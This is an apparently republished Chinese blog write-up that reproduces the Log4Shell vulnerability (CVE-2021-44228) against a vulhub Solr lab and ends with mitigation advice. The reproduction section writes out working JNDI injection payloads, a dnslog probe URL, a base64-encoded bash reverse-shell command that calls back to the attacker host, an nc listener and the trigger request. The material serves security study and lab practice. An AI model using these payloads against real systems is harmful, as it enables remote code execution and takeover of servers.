vulhub复现CVE-2021-44228log4j漏洞

news2025/1/7 22:23:37

目录

一:漏洞概述

二:漏洞原理

三:漏洞利用

lookup功能:

JNDI解析器:

ldap服务:

RMI:

四:漏洞复现

4.1靶场

4.2dnslog测试

4.3部署jndi-injection-exploit

4.4打开监听端口

4.5触发请求,请求内容为恶意class文件

五、解决方法:


一:漏洞概述

Log4j漏洞是由于Log4j 2在处理日志消息中的JNDI(Java Naming and Directory Interface)查找时存在的不安全实现而引发的。攻击者可以通过特制的日志消息利用此漏洞,从而使Log4j在处理日志消息时,连接到恶意的LDAP服务器并执行任意代码。


二:漏洞原理

攻击者构造payload,在JNDI接口lookup查询进行注入,payload为${jndi:ldap:恶意url/poc},JNDI会去对应的服务(如LDAP、RMI、DNS、文件系统、目录服务…本例为ldap)查找资源,由于lookup的出栈没做限制,最终指向了攻击者部署好的恶意站点,下载了远程的恶意class,最终造成了远程代码执行rce。

log4j2框架下的lookup查询服务提供了{}字段解析功能,传进去的值会被直接解析。例如${java:version}会被替换为对应的java版本。这样如果不对lookup的出栈进行限制,就有可能让查询指向任何服务(可能是攻击者部署好的恶意代码)。

攻击者可以利用这一点进行JNDI注入,使得受害者请求远程服务来链接本地对象,在lookup的{}里面构造payload,调用JNDI服务(LDAP)向攻击者提前部署好的恶意站点获取恶意的.class对象,造成了远程代码执行(可反弹shell到指定服务器)。


三:漏洞利用

攻击者利用该漏洞的步骤如下:

  1. 构造恶意日志消息:攻击者创建一个包含JNDI查找请求的特制字符串,例如${jndi:ldap://attacker.com/a}。
  2. 日志记录:该字符串被应用程序记录到日志中。
  3. JNDI查找:Log4j在处理这条日志消息时,会解析JNDI查找请求并尝试连接到指定的LDAP服务器。
  4. 恶意代码执行:如果LDAP服务器返回一个恶意的Java类,Log4j将加载并执行该类中的代码,从而使攻击者能够在目标系统上执行任意代码。

lookup功能:

  • Lookup 是一种查找机制,用于动态获取和替换日志记录中的变量或属性的值。它提供了一种灵活的方式,可以在日志消息中引用、解析和插入各种上下文相关的信息。
  • log4j中除了sys解析器外,还有很多其他类型的解析器。其中,jndi 解析器就是本次漏洞的源头

JNDI解析器:

  • JND全称为Java命名和目录接口,提供了命名服务和目录服务,允许从指定的远程服务器获取并加载对象,JNDI注入攻击时常用的就是通过RMI和LDAP两种服务。

  • 正常的包含jndi的日志记录方式如下:

  • logger.info("system propety: ${jndi:schema://url}");

  • log4j2框架下的lookup查询服务提供了{}字段解析功能,传进去的值会被直接解析。例如${java:version}会被替换为对应的java版本。这样如果不对lookup的出栈进行限制,就有可能让查询指向任何服务(可能是攻击者部署好的恶意代码)。

  • jdk将从url指定的路径下载一段字节流,并将其反序列化为Java对象,作为jndi返回。反序列化过程中,即会执行字节流中包含的程序。

  • 攻击者如何控制服务器上记录的日志内容呢?

  • 大部分web服务程序都会对用户输入进行日志记录。例如:用户访问了哪些url,有哪些关键的输入等,都会被作为参数送到log4j中,我们在这些地方写上 ${jndi:ldap://xxx.dnslog.cn}就可以使web服务从xxx.dnslog.cn下载字节流了。

  • ldap服务:

    LDAP(轻型目录访问协议)是一个开放的,中立的,工业标准的应用协议,
    通过IP协议提供访问 控制和维护分布式信息的目录信息。

    目录是一个为查询、浏览和搜索而优化的专业分布式数据库,它呈树状结构组织数据,就好象Linux/Unix系统中的文件目录一样。


    RMI:

    RMI(远程方法调用):它是一种机制,能够让在某个java虚拟机上的对象调用另一个Java虚拟机 的对象的方法。

四:漏洞复现

4.1靶场

靶机11.0.1.15
攻击机/监听机11.0.1.20

vulhub创建CVE2021-44228环境 ,如果出现以下情况,且换docker加速源无用的情况下请参考(百试百灵 屡试不爽):[已解决]DockerTarBuilder永久解决镜像docker拉取异常问题-CSDN博客

┌──(root㉿kali)-[/home/kali/vulhub-master/log4j/CVE-2021-44228]
└─# docker-compose up -d
Creating network "cve-2021-44228_default" with the default driver
Pulling solr (vulhub/solr:8.11.0)...
ERROR: Get "https://registry-1.docker.io/v2/": net/http: request canceled while waiting for connection (Client.Timeout exceeded while awaiting headers)

 靶场容器创建成功

┌──(root㉿kali)-[/home/kali/vulhub-master/log4j/CVE-2021-44228]
└─# docker-compose up -d
┌──(root㉿kali)-[/home/kali/vulhub-master/log4j/CVE-2021-44228]
└─# docker ps
CONTAINER ID   IMAGE                COMMAND                  CREATED       STATUS       PORTS                                       NAMES
44d82bcf4772   vulhub/solr:8.11.0   "bash /docker-entryp…"   5 hours ago   Up 5 hours   0.0.0.0:8983->8983/tcp, :::8983->8983/tcp   cve-2021-44228_solr_1

访问11.0.1.15:8983

4.2dnslog测试

访问dnslog.cn,创建一个域名

我这里是mkd5k.dnslog.cn

访问http://11.0.1.15:8983/solr/admin/cores?action=${jndi:ldap://${sys:java.version}.mikd5k.dnslog.cn}

刷新“refresh record”回显说明存在漏洞,但这里添加了$(sys.java.version)但没有显示java版本,原因未知。

4.3部署jndi-injection-exploit

部署jndi-injection-exploit,需要jdk环境,我这里使用jdk-8u381

https://github.com/welk1n/JNDI-Injection-Exploit/releases

 编码转换地址

Runtime.exec Payload Generater | AresX's Blog

原命令
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "转化后的bash编码命令" -A "攻击机/监听机/本机"

反弹shell的命令(编码前)
bash -i >& /dev/tcp/11.0.1.20/6666 0>&1
反弹shell的命令(编码后)
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMS4wLjEuMjAvNjY2NiAwPiYx}|{base64,-d}|{bash,-i}

[root@centos7 opt]# java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMS4wLjEuMjAvNjY2NiAwPiYx}|{base64,-d}|{bash,-i}" -A "11.0.1.20"

创建jndi服务

其中生成的链接后面的codebaseClass是6位随机的,因为不希望工具生成的链接本身成为一种特征呗监控或拦截。服务器地址实际上就是codebase地址,相比于marshalsec中的JNDI server来说,这个工具把JNDI server和HTTP server绑定到一起,并自动启动HTTPserver返回相应class,更自动化了。

[root@centos7 opt]# java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMS4wLjEuMjAvNjY2NiAwPiYx}|{base64,-d}|{bash,-i}" -A "11.0.1.20"
[ADDRESS] >> 11.0.1.20
[COMMAND] >> bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMS4wLjEuMjAvNjY2NiAwPiYx}|{base64,-d}|{bash,-i}
----------------------------JNDI Links----------------------------
Target environment(Build in JDK whose trustURLCodebase is false and have Tomcat 8+ or SpringBoot 1.2.x+ in classpath):
rmi://11.0.1.20:1099/ht5juj
Target environment(Build in JDK 1.8 whose trustURLCodebase is true):
rmi://11.0.1.20:1099/tcyijf
ldap://11.0.1.20:1389/tcyijf
Target environment(Build in JDK 1.7 whose trustURLCodebase is true):
rmi://11.0.1.20:1099/7hzekb
ldap://11.0.1.20:1389/7hzekb

----------------------------Server Log----------------------------
2024-12-10 15:33:43 [JETTYSERVER]>> Listening on 0.0.0.0:8180
2024-12-10 15:33:43 [RMISERVER]  >> Listening on 0.0.0.0:1099
2024-12-10 15:33:44 [LDAPSERVER] >> Listening on 0.0.0.0:1389

这里使用jdk1.8,所以是rmi://11.0.1.20:1099/tcyijf

4.4打开监听端口

攻击机/监听机另开一个终端监听

nc -lvnp 6666

4.5触发请求,请求内容为恶意class文件

浏览器访问http://11.0.1.15:8983/solr/admin/cores?action=${jndi:rmi://11.0.1.20:1099/tcyijf}

监听机成功获取容器shell 

http://11.0.1.15:8983/solr/admin/cores?action=${jndi:rmi://11.0.1.20:1099/tcyijf}

 成功获取shell

五、解决方法:

1.设置log4j2.formatMsgNoLookups=True。相当于直接禁止lookup查询出栈,也就不可能请求到访问到远程的恶意站点。
2.对包含有"jndi:ldap://"、"jndi:rmi//"这样字符串的请求进行拦截,即拦截JNDI语句来防止JNDI注入。
3.对系统进行合理配置,禁止不必要的业务访问外网,配置网络防火墙,禁止系统主动外连网络等等。
4.升级log4j2组件到新的安全的版本。

参考:

log4j远程代码执行漏洞 - 假牙哥66 - 博客园

log4j2远程代码执行漏洞原理与漏洞复现(基于vulhub,保姆级的详细教程)_log4j漏洞复现-CSDN博客

网络安全最新【漏洞复现】2(1)_jndi-injection-exploit-1.0-snapshot-all.jar-CSDN博客

Log4j漏洞CVE-2021-44228原理以及漏洞复现【vulhub】-CSDN博客

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2258649.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

论文笔记:Treat Visual Tokens as Text? But Your MLLM Only Needs Fewer Efforts to See

2024 10月的arxiv 1 主要idea 针对多模态大模型(如LLaVA),提出了一系列高效的剪枝策略 在显著降低计算开销(多达 88%)的同时,保持了模型在多模态任务中的性能表现 2 目前的问题 与文本 token 相比&…

MySQL常用运维操作(一):快速复制一张表

假设有如下表结构&#xff1a; -- 创建表db1.t create database db1; use db1; create table t(id int primary key,a int, b int, index(a))engineinnodb;-- 向表t写入1000行数据 delimiter ;;create procedure idata()begindeclare i int;set i1;while(i<1000)doinsert i…

怎么确定目标主机,整个网络过程

怎么确定目标主机&#xff0c;整个网络过程 简单来说&#xff0c; 就是归结于计算机间怎么进行通信&#xff0c; &#xff08;原始方法&#xff09; 简单点直接加网线&#xff0c;但 一个设备的网口肯定是有限的 当相连的设备多了&#xff0c;整个网线将变得十分复杂&#…

机器视觉与OpenCV--01篇

计算机眼中的图像 像素 像素是图像的基本单位&#xff0c;每个像素存储着图像的颜色、亮度或者其他特征&#xff0c;一张图片就是由若干个像素组成的。 RGB 在计算机中&#xff0c;RGB三种颜色被称为RGB三通道&#xff0c;且每个通道的取值都是0到255之间。 计算机中图像的…

【H3CNE邓方鸣】配置链路聚合+2024.12.11

文章目录 链路聚合作用负载分担分类静态聚合动态聚合 链路聚合作用 定义&#xff1a;把连接到统一交换机上的多个物理端口捆绑为一个逻辑端口 增加链路带宽&#xff1a;聚合组内只要还有物理端口存活&#xff0c;链路就不会中断 提供链路可靠性&#xff1a;避免了STP计算&…

Java 基础知识——part 1

1.目前Java平台有三种版本&#xff1a; Java SE&#xff1a;用于开发桌面应用程序 Java EE&#xff1a;用于编写企业级应用程序 Java ME&#xff1a;用于开发设备应用程序 2.Applet可嵌入Web文档的一种小型程序&#xff0c;因网络传输速度关系都很短小 3.Appilication&…

数据可视化的Python实现

一、GDELT介绍 GDELT ( www.gdeltproject.org ) 每时每刻监控着每个国家的几乎每个角落的 100 多种语言的新闻媒体 -- 印刷的、广播的和web 形式的&#xff0c;识别人员、位置、组织、数量、主题、数据源、情绪、报价、图片和每秒都在推动全球社会的事件&#xff0c;GDELT 为全…

nginx反向代理(负载均衡)和tomcat介绍

nginx的代理 负载均衡 负载均衡的算法 负载均衡的架构 基于ip的七层代理 upstream模块要写在http模块中 七层代理的调用要写在location模块中 轮询 加权轮询 最小连接数 ip_Hash URL_HASH 基于域名的七层代理 配置主机 给其余客户机配置域名 给所有机器做域名映射 四层代理…

Qt编写RK3588视频播放器/支持RKMPP硬解/支持各种视音频文件和视频流/海康大华视频监控

一、前言 用ffmpeg做硬解码开发&#xff0c;参考自带的示例hw_decode.c即可&#xff0c;里面提供了通用的dxva2/d3d11va/vaapi这种系统层面封装的硬解码&#xff0c;也就是无需区分用的何种显卡&#xff0c;操作系统自动调度&#xff0c;基本上满足了各种场景的需要&#xff0…

C# 位运算

一、数据大小对应关系 说明&#xff1a; 将一个数据每左移一位&#xff0c;相当于乘以2。因此&#xff0c;左移8位就是乘以2的8次方&#xff0c;即256。 二、转换 1、 10进制转2进制字符串 #region 10进制转2进制字符串int number1 10;string binary Convert.ToString(num…

蓝桥杯嵌入式客观题(国省)

目录 一、第14届 1.第14届国赛 2.第14届省赛 二、第13届 1.第13届国赛 2.第13届省赛 三、第12届 1.第12届省赛 四、第11届 1.第11届省赛 2.第11届国赛 五、第10届 1.第10届国赛 2.第10届省赛 六、第9届 1.第9届国赛 一、第14届 1.第14届国赛 解析&#xff1a;…

二维码手持终端PDA在仓储管理中的应用

随着物联网技术不断发展&#xff0c;仓储管理的高效性直接关系到企业的运作效率和盈利能力。得益于移动技术的不断进步&#xff0c;二维码手持终端PDA成为了仓储盘点中不可或缺的智能化工具&#xff0c;它们不仅极大地提升了数据收集的效率与准确性&#xff0c;还促进了业务流程…

光控资本:锂电排产上行 AI手机有望快速渗透

AI手机有望快速渗透 据赛迪参谋猜想&#xff0c;2024年AI手机的出货量估量将会抵达1.5亿部&#xff0c;占全球智能手机总出货量13%&#xff0c;到2027年&#xff0c;全球AI手机销售量有望跨过5.9亿部&#xff0c;占全球智能手机总出货量的比重跨过50%。 跟着硬件根底夯实、端侧…

Dead Code Clean

优质博文&#xff1a;IT-BLOG-CN 一、死代码产生的原因 任何项目随着时间的推进&#xff0c;代码量通常会持续上涨&#xff0c;总会积累出死代码&#xff0c;死代码可能是一些久远的 配置&#xff0c;或者只在某个历史阶段有效的业务代码。它的产生原因大致有如下几种&#x…

ubuntu 用 ss-tproxy的最终网络结构

1、包含了AD广告域名筛选 2、Ss-tproxy 国内国外地址分类 3、chinadns-ng解析 4、透明网关 更多细节看之前博客 ubuntu 用ss-TPROXY实现透明代理&#xff0c;基于TPROXY的透明TCP/UDP代理,在 Linux 2.6.28 后进入官方内核。ubuntu 用 ss-tproxy的内置 DNS 前挂上 AdGuardHome…

What is load balancing? 什么是负载均衡?

原文链接 What Is Load Balancing? | IBM 什么是负载均衡&#xff1f; 在多台服务器之间高效的分配网络流量的过程&#xff0c;以优化应用程序的可用性&#xff0c;同时确保积极的用户体验。 电商网站依赖负载均衡&#xff08;load balancing&#xff09;来确保web应用能够无…

【C++算法】40.模拟_N 字形变换

文章目录 题目链接&#xff1a;题目描述&#xff1a;解法C 算法代码&#xff1a; 题目链接&#xff1a; 6. N 字形变换 题目描述&#xff1a; 解法 解法一&#xff1a;模拟 a,b,c,d,e,f,g...... n4 弄个矩阵放进去&#xff0c;最后从左往右读取。 解法二&#xff1a;模拟优化-…

vue3监听横向滚动条的位置;鼠标滚轮滑动控制滚动条滚动;监听滚动条到顶端

1.横向取值scrollLeft 竖向取值scrollTop 2.可以监听到最左最右侧 3.鼠标滚轮滑动控制滚动条滚动 效果 <template><div><div class"scrollable" ref"scrollableRef"><!-- 内容 --><div style"width: 2000px; height: 100…

期末复习-计算机网络

目录 第四章&#xff1a;网络层 1. 虚电路服务和数据报服务的对比 2. 分类的 IP 地址 3. IP 地址与硬件地址&#xff0c;地址解析协议 ARP 4. IP 数据报的格式 5. IP 层转发分组的流程 6. 划分子网&#xff08;子网掩码、划分子网、使用子网时分组的转发&#xff09; …

20分钟入门solidity(1)

1. Solidity简介 Solidity是一种静态类型编程语言&#xff0c;专门用于在以太坊区块链上编写智能合约。它借鉴了JavaScript、Python和C的语法&#xff0c;非常适合开发在以太坊虚拟机&#xff08;EVM&#xff09;上运行的应用程序。 智能合约&#xff1a;表达商业、法律关系的…